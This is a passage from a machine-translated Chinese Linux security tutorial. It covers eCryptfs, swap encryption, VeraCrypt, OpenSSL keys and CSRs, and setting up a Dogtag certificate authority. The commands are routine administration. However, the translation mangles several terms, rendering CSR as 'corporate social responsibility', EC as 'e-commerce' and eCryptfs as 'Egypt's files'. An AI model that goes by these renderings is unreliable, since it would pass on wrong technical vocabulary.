输入所需的密码,并选择加密算法和密钥长度: - -```sh -donnie@ubuntu2:~$ sudo mount -t ecryptfs /secrets /secrets -[sudo] password for donnie: -Passphrase: -Select cipher: - 1) aes: blocksize = 16; min keysize = 16; max keysize = 32 - 2) blowfish: blocksize = 8; min keysize = 16; max keysize = 56 -. . . -. . . -Selection [aes]: -Select key bytes: - 1) 16 - 2) 32 - 3) 24 -Selection [16]: -``` - -默认为`aes`,键为`16`字节。 - -3. 对于`plaintext passthrough`,使用默认的`no`,对于文件名加密,使用`yes`: - -```sh -Enable plaintext passthrough (y/n) [n]: -Enable filename encryption (y/n) [n]: y -``` - -4. 使用默认的`Filename Encryption Key`并验证安装选项: - -```sh -Filename Encryption Key (FNEK) Signature [e339e1ebf3d58c36]: -Attempting to mount with the following options: - ecryptfs_unlink_sigs - ecryptfs_fnek_sig=e339e1ebf3d58c36 - ecryptfs_key_bytes=16 - ecryptfs_cipher=aes - ecryptfs_sig=e339e1ebf3d58c36 -``` - -5. 此警告仅在您第一次装载目录时出现。对于最后两个问题,键入`yes`以防止该警告再次出现: - -```sh -WARNING: Based on the contents of [/root/.ecryptfs/sig-cache.txt], -it looks like you have never mounted with this key -before. This could mean that you have typed your -passphrase wrong. - -Would you like to proceed with the mount (yes/no)? : yes -Would you like to append sig [e339e1ebf3d58c36] to -[/root/.ecryptfs/sig-cache.txt] -in order to avoid this warning in the future (yes/no)? : yes -Successfully appended new sig to user sig cache file -Mounted eCryptfs -donnie@ubuntu2:~$ -``` - -6. 只是为了好玩,在你新加密的`secrets`目录内创建一个文件,然后卸载这个目录。然后,尝试做一个目录列表: - -```sh -cd /secrets -sudo vim secret_stuff.txt -cd -sudo umount /secrets -ls -l /secrets - -donnie@ubuntu2:/secrets$ ls -l -total 12 --rw-r--r-- 1 root root 12288 Oct 31 18:24 ECRYPTFS_FNEK_ENCRYPTED.FXbXCS5fwxKABUQtEPlumGPaN-RGvqd13yybkpTr1eCVWVHdr-lrmi1X9Vu-mLM-A-VeqIdN6KNZGcs- -donnie@ubuntu2:/secrets$ -``` - -通过选择加密文件名,当目录被卸载时,没有人能知道你有什么文件。当您准备好再次访问您的加密文件时,只需像以前一样重新装载目录。 - -# 用加密文件加密交换分区 - -如果您只是用加密文件加密单个目录,而不是使用 LUKS 全磁盘加密,您需要加密您的交换分区,以防止意外的数据泄漏。解决这个问题只需要一个简单的命令: - -```sh -donnie@ubuntu:~$ sudo ecryptfs-setup-swap - -WARNING: -An encrypted swap is required to help ensure that encrypted files are not leaked to disk in an unencrypted format. -HOWEVER, THE SWAP ENCRYPTION CONFIGURATION PRODUCED BY THIS PROGRAM WILL BREAK HIBERNATE/RESUME ON THIS SYSTEM! -NOTE: Your suspend/resume capabilities will not be affected. - -Do you want to proceed with encrypting your swap? [y/N]: y - -INFO: Setting up swap: [/dev/sda5] -WARNING: Commented out your unencrypted swap from /etc/fstab -swapon: stat of /dev/mapper/cryptswap1 failed: No such file or directory -donnie@ubuntu:~$ -``` - -不要介意丢失`/dev/mapper/cryptswap1`文件的警告。它会在你下次重启机器时被创建。 - -# 使用 VeraCrypt 实现加密容器的跨平台共享 - -曾几何时,有一个跨平台的程序 TrueCrypt,它允许在不同的操作系统之间共享加密容器。但是这个项目总是被神秘所笼罩,因为它的开发者永远不会透露他们的身份。然后,开发人员突然发布了一条关于 TrueCrypt 不再安全的神秘消息,并关闭了该项目。 - -VeraCrypt 是 TrueCrypt 的继承者,它允许在 Linux、Windows、macOS 和 FreeBSD 机器之间共享加密容器。虽然 LUKS 和埃及的文件很好,但 VeraCrypt 确实在某些方面提供了更大的灵活性: - -* 如上所述,VeraCrypt 提供跨平台共享,而 LUKS 和 eCryptfs 不提供。 -* VeraCrypt 允许您加密整个分区或整个存储设备,或者创建虚拟加密磁盘。 - -* 您不仅可以使用 VeraCrypt 创建加密卷,还可以隐藏它们,让您看似可信的否认。 -* VeraCrypt 有命令行和图形用户界面两种变体,因此它适合服务器使用或普通桌面用户。 -* 像 LUKS 和 eCryptfs 一样,VeraCrypt 是免费的开源软件,这意味着它可以自由使用,并且源代码可以被审计错误或后门。 - -# 动手实验–获取和安装 VeraCrypt - -按照以下步骤安装 VeraCrypt: - -1. 从这里下载 VeraCrypt: - [【https://www.veracrypt.fr/en/Downloads.html】](https://www.veracrypt.fr/en/Downloads.html) - 把文件解压到你的`home`目录。VeraCrypt 的 Linux 版本是一组通用安装脚本,应该可以在任何 Linux 发行版上运行。提取`.tar.bz2`档案文件后,您将看到两个用于图形用户界面安装的脚本和两个用于控制台模式安装的脚本。其中一个适用于 32 位 Linux,另一个适用于 64 位 Linux: - -```sh -donnie@ubuntu:~$ ls -l vera* --r-xr-xr-x 1 donnie users 2976573 Jul 9 05:10 veracrypt-1.21-setup-console-x64 --r-xr-xr-x 1 donnie users 2967950 Jul 9 05:14 veracrypt-1.21-setup-console-x86 --r-xr-xr-x 1 donnie users 4383555 Jul 9 05:08 veracrypt-1.21-setup-gui-x64 --r-xr-xr-x 1 donnie users 4243305 Jul 9 05:13 veracrypt-1.21-setup-gui-x86 --rw-r--r-- 1 donnie users 14614830 Oct 31 23:49 veracrypt-1.21-setup.tar.bz2 donnie@ubuntu:~$ -``` - -2. 已经设置了可执行权限,所以安装时只需执行以下操作: - -```sh -donnie@ubuntu:~$ ./veracrypt-1.21-setup-console-x64 -``` - -您需要 sudo 权限,但是安装程序会提示您输入 sudo 密码。在阅读并同意一份相当长的许可协议后,安装只需几秒钟。 - -# 动手实验–在控制台模式下创建和安装 VeraCrypt 卷 - -我还没有找到 VeraCrypt 控制台模式变体的任何文档,但是您只需键入`veracrypt`,就可以看到可用命令的列表。在本演示中,您将创建一个 2 GB 的加密目录。但你也可以在其他地方轻松完成,比如在 u 盘上: - -1. 要创建新的加密卷,请键入以下内容: - -```sh -veracrypt -c -``` - -2. 这将带你进入一个易于使用的互动工具。在大多数情况下,您只需接受默认选项就可以了: - -```sh -donnie@ubuntu:~$ veracrypt -c -Volume type: - 1) Normal - 2) Hidden -Select [1]: -Enter volume path: /home/donnie/good_stuff -Enter volume size (sizeK/size[M]/sizeG): 2G -Encryption Algorithm: - 1) AES - 2) Serpent -. . . -. . . -Select [1]: -. . . -. . . -``` - -3. 对于文件系统,`FAT`的默认选项为您提供了 Linux、macOS 和 Windows 之间的最佳跨平台兼容性: - -```sh -Filesystem: - 1) None - 2) FAT - 3) Linux Ext2 - 4) Linux Ext3 - 5) Linux Ext4 - 6) NTFS - 7) exFAT -Select [2]: -``` - -4. 选择您的密码和一个 **PIM** (个人****迭代** **乘数**的缩写)。为了我的个人信息管理,我输入了`8891`。高 PIM 值提供了更好的安全性,但也会导致卷的装载时间更长。然后,键入至少 320 个随机字符以生成加密密钥。让我的猫在我的键盘上走来走去会很方便:** - -```sh -Enter password: -Re-enter password: - -Enter PIM: 8891 - -Enter keyfile path [none]: - -Please type at least 320 randomly chosen characters and then press Enter: -``` - -5. 点击*进入*键后,请耐心等待,因为加密卷的最终生成需要一些时间。在这里,您看到我的 2 GB `good_stuff`容器已经成功创建: - -```sh -donnie@ubuntu:~$ ls -l good_stuff --rw------- 1 donnie donnie 2147483648 Nov 1 17:02 good_stuff -donnie@ubuntu:~$ -``` - -6. 安装此容器以便使用。首先创建装载点目录: - -```sh -donnie@ubuntu:~$ mkdir good_stuff_dir -donnie@ubuntu:~$ -``` - -7. 使用`veracrypt`实用程序将容器安装在该安装点上: - -```sh -donnie@ubuntu:~$ veracrypt good_stuff good_stuff_dir -Enter password for /home/donnie/good_stuff: -Enter PIM for /home/donnie/good_stuff: 8891 -Enter keyfile [none]: -Protect hidden volume (if any)? (y=Yes/n=No) [No]: -Enter your user password or administrator password: -donnie@ubuntu:~$ -``` - -8. 要查看您安装了哪些 VeraCrypt 卷,请使用`veracrypt -l`: - -```sh -donnie@ubuntu:~$ veracrypt -l -1: /home/donnie/secret_stuff /dev/mapper/veracrypt1 /home/donnie/secret_stuff_dir -2: /home/donnie/good_stuff /dev/mapper/veracrypt2 /home/donnie/good_stuff_dir -donnie@ubuntu:~$ -``` - -9. 实验室结束。仅此而已。 - -# 在图形用户界面模式下使用 VeraCrypt - -任何受支持操作系统的桌面用户都可以安装 VeraCrypt 的 GUI 变体。但是请注意,不能在同一台机器上同时安装控制台模式变体和图形用户界面变体,因为其中一个会覆盖另一个: - -![](img/fa8a5f84-dd96-41f0-8e02-adac15865998.png) - -由于这本书的主要焦点是服务器安全,因此我在这里不讨论图形用户界面版本的细节。但是它相当不言自明,你可以在他们的网站上查看完整的 VeraCrypt 文档。 - -You can get VeraCrypt from here: [https://www.veracrypt.fr/en/Home.html](https://www.veracrypt.fr/en/Home.html). - -# OpenSSL 和公钥基础设施 - -使用 OpenSSL,我们可以在信息通过网络时对其进行加密。在我们通过网络发送数据之前,没有必要手动加密数据,因为 OpenSSL 加密是自动进行的。这很重要,因为没有它,在线商务和银行业务就无法存在。 - -OpenSSL 中的**安全套接字层** ( **SSL** )是协议。具有讽刺意味的是,即使我们使用的是 OpenSSL 程序和库套件,我们也不再想使用 SSL。相反,我们现在想使用**传输层安全性** ( **TLS** )协议。SSL 充满了遗留代码以及伴随这些遗留代码而来的许多漏洞。TLS 是更新的,并且更加安全。但是,即使在使用 TLS 时,我们仍然可以使用 OpenSSL 套件。 - -旧的 SSL 协议如此糟糕的一个原因是因为过去的政府法规,特别是在美国,禁止使用强加密。在公共互联网的最初几年,美国网站运营商无法合法实施长度超过区区 40 位的加密密钥。即使在那个时候,40 位密钥也不能提供很好的安全性。但是美国政府认为强加密是一种弹药,并试图控制它,这样其他国家的政府就不能使用它。与此同时,一家名为 Fortify 的澳大利亚公司开始生产一种强大的加密插件,人们可以将其安装在网景浏览器中。这个插件允许使用 128 位加密,我和我的极客朋友都急切地将它安装在我们自己的机器上。回顾过去,我不确定它是否做得很好,因为美国的网站运营商仍然被禁止在他们的网络服务器上使用强加密密钥。 - -令人惊讶的是,防御装备仍然有他们的网站。你仍然可以下载加固插件,即使它现在完全没用了。下面的截图显示了设防网站: - -![](img/69250943-724f-496c-a8f5-7a940824b31d.png) - -加密的 SSL/TLS 会话使用对称和非对称机制。为了获得可接受的性能,它使用对称加密来加密传输中的数据。但是对称加密需要在两个通信伙伴之间交换私钥。为此,SSL/TLS 首先使用我们在 GPG 一节中看到的相同公钥交换机制来协商非对称会话。一旦建立了非对称会话,两个通信伙伴就可以安全地交换用于对称会话的私钥。 - -# 商业认证机构 - -为了让这个神奇的工作,你需要安装一个安全证书到你的网络服务器上。该证书有两个目的: - -* 它包含建立非对称密钥交换会话所需的公钥。 - -* 或者,它可以验证您的网站的身份或进行身份验证。因此,举例来说,用户可以从理论上确定他们连接到他们的真实银行,而不是乔海克的骗子和罪犯银行伪装成他们的银行。 - -当您购买证书时,您会发现相当多的供应商,它们都被称为证书颁发机构或 CAs。大多数 ca,包括像 Thawte、Symantec、GoDaddy 和 Let’s Encrypt 等供应商,都提供几种不同等级的证书。为了帮助解释证书等级之间的差异,这里有一个来自 GoDaddy 网站的截图: - -![](img/182fa571-66e0-4385-80a5-2d225e1de15e.png) - -排名第一、价格最便宜的是标准 SSL DV 产品。供应商宣传这种类型的证书用于您真正关心的是加密的地方。身份验证仅限于域验证,这意味着是的,您站点的记录已经在公共可访问的 DNS 服务器上找到。 - -在底部,我们看到了高级 SSL 电动汽车产品。这是证书供应商提供的顶级证书。它目前的价格低于中级组织验证产品,但这只是因为降价 50%。有了这个证书的扩展验证等级,你必须跳过一些障碍来证明你是真实的你,你的网站和你的业务都是合法的。当您安装这种类型的证书时,您会看到高保证绿色地址栏出现在您客户的网络浏览器中。 - -那么,这个经过严格身份测试的高级 SSL EV 证书到底有多好呢?嗯,没有我想的那么好。今天早上,在我写完不同类型证书的解释两天后,我收到了火药味鸭出版的最新版*防弹 TLS 简讯*。最大的消息是,谷歌和 Mozilla 计划从未来版本的 Chrome 和 Firefox 中删除绿色高保证栏。他们的理由如下: - -* 绿色高保证栏旨在帮助用户避免网络钓鱼攻击。但要想让它有用,用户必须注意到,高保证标准就在那里。研究表明,大多数人甚至没有注意到这一点。 -* 安全研究员伊恩·卡罗尔质疑扩展验证证书的价值。作为一个实验,他能够为 Stripe,Inc .注册一个伪造的证书,这是一个合法的公司。证书供应商最终确实注意到了他们的错误并撤销了证书,但这是一开始就不应该发生的事情。 -* 最重要的是,还可能用不正确的信息注册扩展验证证书。这表明验证过程没有证书供应商让我们相信的那么彻底。 - -但是尽管偶尔会出现这些问题,我仍然相信扩展验证证书是有用的。当我访问我的银行账户时,我喜欢相信额外的身份验证从来都不是坏事。 - -Something else that's rather curious is that certificate vendors market their certificates as SSL certificates. Don't be fooled, though. As long as the website owners configure their servers correctly, they'll be using the more secure TLS protocol, rather than SSL. - -“让我们加密”是一个相当新的组织,其目标是确保各地的所有网站都使用加密进行设置。这是一个有价值的目标,但也带来了一个新问题。以下截图显示了“让我们加密”网站: - -![](img/0cf5ebcc-5c3d-4989-ac00-b4e12b7bf34a.png) - -要从传统供应商那里获得证书,您必须使用 OpenSSL 实用程序来创建密钥和证书请求。然后,您将向证书颁发机构提交证书申请、身份证明(如果适用)和您的付款。根据您购买的证书等级,您需要等待一到几天才能获得证书。 - -“让我们加密”是完全免费的,您不必为了获得证书而跳圈。相反,您可以将您的网络服务器配置为在每次设置新网站时自动获取新的“让我们加密”证书。如果“让我们加密”发现您的新站点在可公开访问的 DNS 服务器上有有效记录,它将自动在您的服务器上创建并安装证书。除了必须将你的网络服务器配置为使用“让我们加密”之外,没有什么大惊小怪的。 - -“让我们加密”的问题是,它比扩展验证证书更容易被滥用。“让我们加密”开始运行后不久,犯罪分子就开始建立看似合法商业网站的子域。因此,人们看到网站是加密的,域名似乎是合法的,他们愉快地输入他们的凭证,而没有考虑事情。“让我们加密”对于合法目的来说既方便又有用,但也要注意它的缺点。 - -Before you choose a certificate vendor, do some research. Sometimes, even the big name vendors have problems. Not so long ago, Google removed Symantec from Chrome's list of trusted certificate authorities because Symantec had allegedly violated industry best practices several times. That's rather ironic, considering that Symantec has had a long history of being a trusted vendor of security products. - -现在我们已经介绍了 SSL/TLS 加密的基础知识,让我们看看如何用 OpenSSL 套件实现它。 - -# 创建密钥、证书签名请求和证书 - -好消息是,不管我们在哪个 Linux 发行版上,这个过程都是一样的。不太好的消息是,OpenSSL 可能有点难学,因为它有很多子命令,每个子命令都有自己的一组选项和参数。容忍我,我会尽我所能把它分解。 - -# 使用 RSA 密钥创建自签名证书 - -当您只需要加密或进行测试时,自签名证书非常有用。自签名证书不涉及身份验证,因此您永远不想在用户需要信任的服务器上使用它们。假设我需要在投入生产之前测试我的新网站设置,我不想用真实的密钥和证书进行测试。我将用一个命令创建密钥和自签名证书: - -```sh -openssl req -newkey rsa:2048 -nodes -keyout donnie-domain.key-x509 -days 365 -out donnie-domain.crt -``` - -细分如下: - -* `openssl`:我用的是 OpenSSL,只有我的普通用户权限。目前,我在自己的主目录中做所有事情,所以不需要 root 或 sudo 权限。 -* `req`:这是管理证书签名请求(CSR)的子命令。创建自签名证书时,OpenSSL 将创建一个临时 CSR。 -* `-newkey rsa:2048`:我正在创建一个长度为 2,048 位的 RSA 密钥对。实际上,我希望使用更长一点的东西,但是在设置 TLS 握手时,这会影响服务器性能。(同样,前面只有一个破折号。) -* `-nodes`:这意味着我没有对即将创建的私钥进行加密。如果我要加密私钥,我必须在每次重新启动 web 服务器时输入私钥密码。 -* `-keyout donnie-domain.key-x509`:我正在创建名为`donnie-domain.key-x509`的私钥。`x509`部分表示这将用于自签名证书。 -* `-days 365`:证书一年后到期。 -* `-out donnie-domain.crt`:最后,我正在创建`donnie-domain.crt`证书。 - -当您运行此命令时,系统会提示您输入有关您的企业和服务器的信息。(我们一会儿就来看看。)创建这个密钥和证书后,我需要将它们移动到适当的位置,并配置我的 web 服务器来找到它们。(我们稍后也会谈到这一点。) - -加密私钥是一个可选步骤,我没有这样做。如果我要加密私钥,我必须在每次重新启动 web 服务器时输入密码。如果有任何 web 服务器管理员没有密码,这可能会有问题。此外,尽管这听起来有悖直觉,但对网络服务器上的私钥进行加密并不能真正提高安全性。任何能够物理访问 web 服务器的恶意人员都可以使用内存取证工具从系统内存中获取私钥,即使密钥是加密的。但是如果你计划备份密钥以存储在其他地方,一定要加密这个副本。现在,让我们制作一个我的私钥的加密备份副本,我可以安全地存储在 web 服务器之外的其他地方: - -```sh -[donnie@localhost ~]$ openssl rsa -aes256 -in donnie-domain.key-x509 -out donnie-domain-encrypted.key-x509 - -writing RSA key -Enter PEM pass phrase: -Verifying - Enter PEM pass phrase: -[donnie@localhost ~]$ -``` - -这里有两件事要看: - -* `rsa -aes256`表示我正在使用 AES256 加密算法加密一个 RSA 密钥。 -* 为了确保我制作了一个副本,而不是覆盖原始的未加密密钥,我指定了`donnie-domain-encrypted.key-x509`作为副本的名称。 - -# 使用椭圆曲线密钥创建自签名证书 - -RSA 密钥在当时还不错,但它们确实有缺点。(我稍后会详细介绍这一点。)**椭圆曲线** ( **EC** )键在几乎所有方面都是优越的。因此,现在让我们用一个 EC 密钥而不是 RSA 密钥创建一个自签名证书,如下所示: - -```sh -openssl req -new -x509 -nodes -newkey ec:<(openssl ecparam -name secp384r1) -keyout cert.key.x509 -out cert.crt -days 3650 -``` - -唯一不同的是`ec:<(openssl ecparam -name secp384r1)`部分。看起来很奇怪,但真的很有逻辑。创建 EC 键时,必须使用`ecparam`命令指定参数。您通常会将此视为两个独立的`openssl`命令,但是将这两个命令组合在一起作为一个命令放在另一个命令中会更方便。内部`openssl`命令通过输入重定向符号(`<`)将其输出反馈给外部`openssl`命令。`-name secp384r1`部分意味着我们正在用`secp384`命名的曲线算法创建一个 384 位 EC 密钥。 - -# 创建 RSA 密钥和证书签名请求 - -通常情况下,我们不会使用自签名证书来进行任何面向公众的交互。相反,我们希望从商业证书颁发机构获得证书,因为我们希望用户知道他们正在连接到一个服务器,其所有者的身份已经过验证。要从受信任的证书颁发机构获得证书,您首先需要创建一个密钥和一个**证书签名请求** ( **企业社会责任**)。我们现在就开始吧: - -```sh -openssl req --out CSR.csr -new -newkey rsa:2048 -nodes -keyout server-privatekey.key -``` - -细分如下: - -* `openssl`:我用的是 OpenSSL,只有我的普通用户权限。目前,我在自己的`home`目录中做所有事情,所以不需要 root 或 sudo 权限。 -* `req`:这是管理 CSR 的子命令。 -* `--out CSR.csr`:`--out`表示我在创造什么。在这种情况下,我正在创建名为`CSR.csr`的企业社会责任。所有 CSR 都将有`.csr`文件扩展名。 -* `-new`:这是一个新的请求。(是的,这个前面有一个破折号,不像上一行的`out`前面有两个破折号。) -* `-newkey rsa:2048`:我正在创建一个长度为 2,048 位的 RSA 密钥对。实际上,我希望使用更长一点的东西,但是在设置 TLS 握手时,这会影响服务器性能。(同样,前面只有一个破折号。) -* `-nodes`:这意味着我没有对即将创建的私钥进行加密。如果我要加密私钥,我必须在每次重新启动 web 服务器时输入私钥密码。 -* `-keyout server-privatekey.key`:最后,我正在创建名为`server-privatekey.key`的私钥。因为这个密钥不是用于自签名证书的,所以我没有把`-x509`放在密钥文件名的末尾。 - -现在让我们看看命令输出的一个片段: - -```sh -[donnie@localhost ~]$ openssl req --out CSR.csr -new -newkey rsa:2048 -nodes -keyout server-privatekey.key -Generating a RSA private key -. . . -. . . -Country Name (2 letter code) [XX]:US -State or Province Name (full name) []:GA -Locality Name (eg, city) [Default City]:Saint Marys -Organization Name (eg, company) [Default Company Ltd]:Tevault Enterprises -Organizational Unit Name (eg, section) []:Education -Common Name (eg, your name or your server's hostname) []:www.tevaultenterprises.com -Email Address []:any@any.net -Please enter the following 'extra' attributes -to be sent with your certificate request -A challenge password []:TurkeyLips -An optional company name []: - -``` - -因此,我已经输入了关于我的公司位置、名称和网站名称的信息。注意底部,它问我要一个`challenge password`。这个密码不加密密钥或证书。相反,它只是证书颁发机构和我之间的共享秘密,嵌入到证书中。我需要把它放在一个安全的地方,以防我需要重新安装证书。(看在上帝的份上,当你真的这么做的时候,选择一个比`TurkeyLips`更好的密码。) - -和以前一样,我没有加密私钥。但是,如果您需要制作备份副本,只需遵循您在上一节中看到的过程即可。 - -要从商业证书颁发机构获得证书,请访问他们的网站并按照他们的指导进行操作。收到证书后,将其安装在 web 服务器的适当位置,并配置 web 服务器以找到它。 - -# 创建电子商务密钥和企业社会责任 - -直到几年前,您可能还想在网络服务器上使用 RSA 密钥。它们没有某些其他密钥类型所具有的安全弱点,并且几乎每个网络浏览器都广泛支持它们。但是 RSA 密钥确实有两个弱点: - -* 即使是标准的 2,048 位长度,它们也比其他密钥类型需要更多的计算能力。增加密钥长度以提高安全性会降低 web 服务器的性能。 -* RSA 不提供**完全前向保密** ( **PFS** )。换句话说,如果有人捕获了由 RSA 算法生成的会话密钥,他们将能够解密过去的材料。如果同一个人捕获由 PFS 算法产生的会话密钥,他们将只能解密当前的通信流。 - -使用新式的电子商务算法代替陈旧的 RSA 解决了这两个问题。但是如果你拿起几年前的一本书,你会发现它建议使用 RSA 密钥来向后兼容旧的网络浏览器。这部分是因为某些操作系统及其相关的专有网络浏览器存在的时间远远超过了它们应有的时间。(*我在看你,Windows XP* *)。*)不过,现在,当我 2020 年 1 月坐在这里写这篇文章时,我认为开始忽视那些拒绝从这些过时平台上继续前进的人的需求是安全的。我的意思是,Windows XP 在几年前就已经走到了尽头,而 Windows 7 几天前才刚刚做到。所以,让我们跟上时代,伙计们。 - -与我们刚才看到的 RSA 密钥不同,我们不能用一个简单的命令创建 EC 私钥和 CSR。对于 EC,我们需要分两步来完成。 - -首先,我将如下创建私钥: - -```sh -openssl genpkey -algorithm EC -out eckey.pem -pkeyopt ec_paramgen_curve:P-384 -pkeyopt ec_param_enc:named_curve -``` - -细分如下: - -* `genpkey -algorithm EC`:`genpkey`命令是 OpenSSL 的一个相当新的补充,现在是创建私钥的推荐方式。在这里,我告诉它用 EC 算法创建一个密钥。 -* `-out eckey.pem`:我正在创建`eckey.pem`键,是**隐私增强邮件** ( **PEM** )格式。我在前一节中创建的 RSA 密钥也是 PEM 密钥,但是我在它们上面使用了`.key`文件扩展名。您可以使用`.key`或`.pem`文件扩展名,它们都可以工作。但是如果用`.pem`分机,每个看他们的人一眼就能看出他们是 PEM 的钥匙。 -* `-pkeyopt ec_paramgen_curve:P-384`:这告诉 OpenSSL 创建一个长度为 384 位的 EC 密钥。电子商务的一个优点是,它的较短长度的密钥提供了与较长的 RSA 密钥相同的加密强度。在本例中,我们有一个 384 位密钥,它实际上比 2,048 位 RSA 密钥更强。而且它需要更少的计算能力。(我称之为全面胜利!) -* `-pkeyopt ec_param_enc:named_curve`:这是我对 EC 参数使用的编码方式。必须设置为`named_curve`或`explicit`。 - -现在,我将创建一个企业社会责任,并用我的新私钥签名,如下所示: - -```sh -[donnie@localhost ~]$ openssl req -new -key eckey.pem -out eckey.csr -. . . -. . . -[donnie@localhost ~]$ -``` - -我没有包括的输出与您在 RSA 密钥部分看到的相同。 - -最后的步骤和以前一样。选择一个认证中心,让他们告诉你如何提交企业社会责任。当他们颁发证书时,将其安装在您的 web 服务器上。 - -# 创建内部认证中心 - -当你在一个公众需要信任的网站上与公众打交道时,从商业认证机构购买证书是件好事。但是对于一个组织自己的内部使用来说,购买商业证书并不总是必要或可行的。假设您的组织有一组开发人员,他们需要自己的客户端证书来访问开发服务器。为每个开发人员购买商业证书的成本很高,并且需要开发服务器有一个可公开访问的域名,以便商业 CA 可以进行域验证。即使是免费的“让我们加密证书”也不是一个好的选择,因为这也需要开发服务器有一个可公开访问的域名。选项 2 是使用自签名证书。但这是行不通的,因为客户端身份验证不适用于自签名证书。这就剩下选项 3,建立一个私有的内部 CA。 - -如果你在网上搜索,你会发现很多关于建立自己的私人认证中心的指南。但是几乎所有的都已经过时了,而且大多数都是为了用 OpenSSL 建立一个证书颁发机构。对 CA 使用 OpenSSL 没有错,只是设置它是一个相当复杂的多阶段过程。然后,当您最终设置好它时,您必须从命令行使用复杂的命令来完成任何事情。我们想要的是对你和你的用户都更友好的东西。 - -# 实践实验室-设置狗牌认证中心 - -Dogtag PKI 的设置要简单得多,而且它有一个很好的 web 界面,这是 OpenSSL 所没有的。它可以在 Debian/Ubuntu 和 CentOS 的普通存储库中找到,但是使用不同的包名。在 Debian/Ubuntu 存储库中,包名是`dogtag-pki`。在 CentOS 存储库中,名称是`pki-ca`。(因为一些我不明白的原因,你永远不会看到红帽人使用“狗牌”这个名字。) - -在安装 Dogtag 包之前,我们需要做几件简单的事情: - -* 在服务器上设置一个**全限定域名** ( **FQDN** ) -* 要么在本地 DNS 服务器中为 Dogtag 服务器创建一条记录,要么在其自己的`/etc/hosts`文件中为其创建一个条目 - -这个过程理论上应该可以在我们的 Ubuntu 或者 CentOS 虚拟机上运行。但是 Dogtag 依赖于拥有一个工作正常的 Tomcat Java 小程序服务器,我无法在 Ubuntu 上正常工作。因此,我们将在 CentOS 7 机器上进行此操作。(在撰写本文时,Dogtag 包还不在 CentOS 8 存储库中。)要访问 Dogtag 仪表板,我们将使用安装了桌面环境的第二个 Linux 虚拟机。做完这些,让我们开始吧: - -1. 在 CentOS 虚拟机上,设置一个 FQDN,用您自己的代替我正在使用的: - -```sh -sudo hostnamectl set-hostname donnie-ca.local -``` - -2. 编辑`/etc/hosts`文件,添加如下一行: - -```sh -192.168.0.53 donnie-ca.local -``` - -使用虚拟机自己的 IP 地址和 FQDN。 - -3. 接下来,增加系统一次可以打开的文件描述符的数量。(否则,当您运行目录服务器安装程序时,您将收到一条警告消息。)通过编辑`/etc/security/limits.conf`文件来完成。在文件的末尾,添加这两行: - -```sh -root hard nofile 4096 -root soft nofile 4096 -``` - -4. 重新启动计算机,以便新的主机名和文件描述符限制可以生效。 -5. Dogtag 将其证书和用户信息存储在 LDAP 数据库中。在这一步中,我们将安装 LDAP 服务器包以及 Dogtag 包。对于 CentOS 7,运行以下命令: - -```sh -sudo yum install 389-ds-base pki-ca -``` - -6. 接下来,创建一个 LDAP **目录服务器** ( **DS** )实例。接受默认值,除非提示您创建密码。要启动该过程,请使用以下命令: - -```sh -sudo setup-ds.pl -``` - -7. 最后,是时候创建 CA 了: - -```sh -sudo pkispawn -``` - -接受所有的默认值,直到你到达最后。当它询问开始安装时?,键入`Yes`。当您到达 DS 部件时,输入您在上一步中用来创建 DS 实例的密码。请注意,您可以选择通过安全端口访问 LDAP DS 实例。但是因为我们在同一台机器上设置了 LDAP 和 Dogtag,所以这不是必需的。另外,通过选择 2。典型设置选项在运行设置脚本时,您将创建一个使用 2048 位 RSA 密钥进行自身身份验证的证书颁发机构,如`/etc/pki/default.cfg`文件中所指定的。尽管 384 位 EC 密钥更好,但这对于内部局域网上的大多数用例来说已经足够好了。 - -8. 接下来,启用`dirsrv.target`和`pki-tomcatd.target`,这样当您重新启动服务器时,它们将自动启动: - -```sh -sudo systemctl enable dirsrv.target -sudo systemctl enable pki-tomcatd.target -``` - -9. 您将通过端口`8443/tcp`访问 Dogtag 网络界面。按照以下步骤打开端口: - -```sh -sudo firewall-cmd --permanent --add-port=8443/tcp -sudo firewall-cmd --reload -``` - -10. 在另一台具有桌面界面的 Linux 虚拟机上,编辑`/etc/hosts`文件,以添加您在 s *步骤 2* 中添加到服务器`hosts`文件的同一行。然后,打开该机器上的 Firefox 网络浏览器,导航到 Dogtag 仪表板。与此场景中的示例一致,网址如下: - -```sh -https://donnie-ca.local:8443 -``` - -您将收到证书无效的警告,因为它是自签名的。这很正常,因为每个 CA 都必须从自签名证书开始,而您还没有将此证书导入到您的信任存储中。暂时添加例外并继续。(换句话说,清除“永久添加”框中的复选标记。你会在下一个实验室看到原因。)点击链接,直到到达此屏幕: - -![](img/ffb5efe9-a54a-4133-83e8-6d2e3b8e48dc.png) - -11. 单击 SSL 最终用户服务链接。这是最终用户可以请求各种类型证书的地方。单击后退按钮返回上一屏幕。这一次,单击代理服务链接。您将无法前往那里,因为它要求您在您的 web 浏览器中安装证书进行身份验证。 -12. 您需要安装的证书在您的 Dogtag VM 的`/root/.dogtag/pki-tomcat`目录中。将此文件复制到您正在使用火狐访问 Dogtag 仪表板的虚拟机上。请执行以下操作: - -```sh -sudo su - -cd /root/.dogtag/pki-tomcat -scp ca_admin_cert.p12 donnie@192.168.0.14: -exit -``` - -当然,替换你自己的用户名和 IP 地址。请注意,该文件将自动驻留在您自己的 X 目录中,并且其所有权将从 root 更改为您自己的用户名。 - -13. 在装有火狐的虚拟机上,将证书导入火狐。从火狐菜单中,选择首选项,然后选择隐私和安全。在屏幕底部,单击查看证书。单击底部的导入按钮。导航到您的`home`目录,选择您刚刚从 Dogtag 服务器虚拟机发送过来的证书。导入操作完成后,您应该会在导入的证书列表中看到 PKI Administrator 证书: - -![](img/841ded9d-2273-458a-a3e8-3cef14c172fe.png) - -14. 现在尝试访问代理服务页面。一旦您确认要使用刚刚导入的证书,您将被允许访问。 -15. 实验室结束。 - -当用户需要申请自己使用的证书时,他们将使用`openssl`来创建密钥和企业社会责任,正如我在本章前面已经向您展示的那样。然后,他们将转到 SSL 最终用户服务页面,并将他们的企业社会责任的内容粘贴到他们请求的证书框中。然后,管理员将转到“代理服务”页面来批准请求并颁发证书。(为了帮助您熟悉 Dogtag,我鼓励您点击网页界面,探索所有选项。) - -# 向操作系统添加证书颁发机构 - -大多数主要的网络浏览器,如火狐、Chrome 和 Chrome,都自带预定义的可信 ca 数据库及其相关证书。创建私有证书颁发机构时,需要将证书颁发机构证书导入浏览器的信任存储中。否则,您的用户将不断收到关于他们正在查看的网站如何使用不可信证书的消息。事实上,我们的 Dogtag 服务器就是这种情况。任何访问它以请求证书的用户都会收到一条关于证书颁发机构如何使用不可信证书的警告。我们将通过从 Dogtag 服务器导出 CA 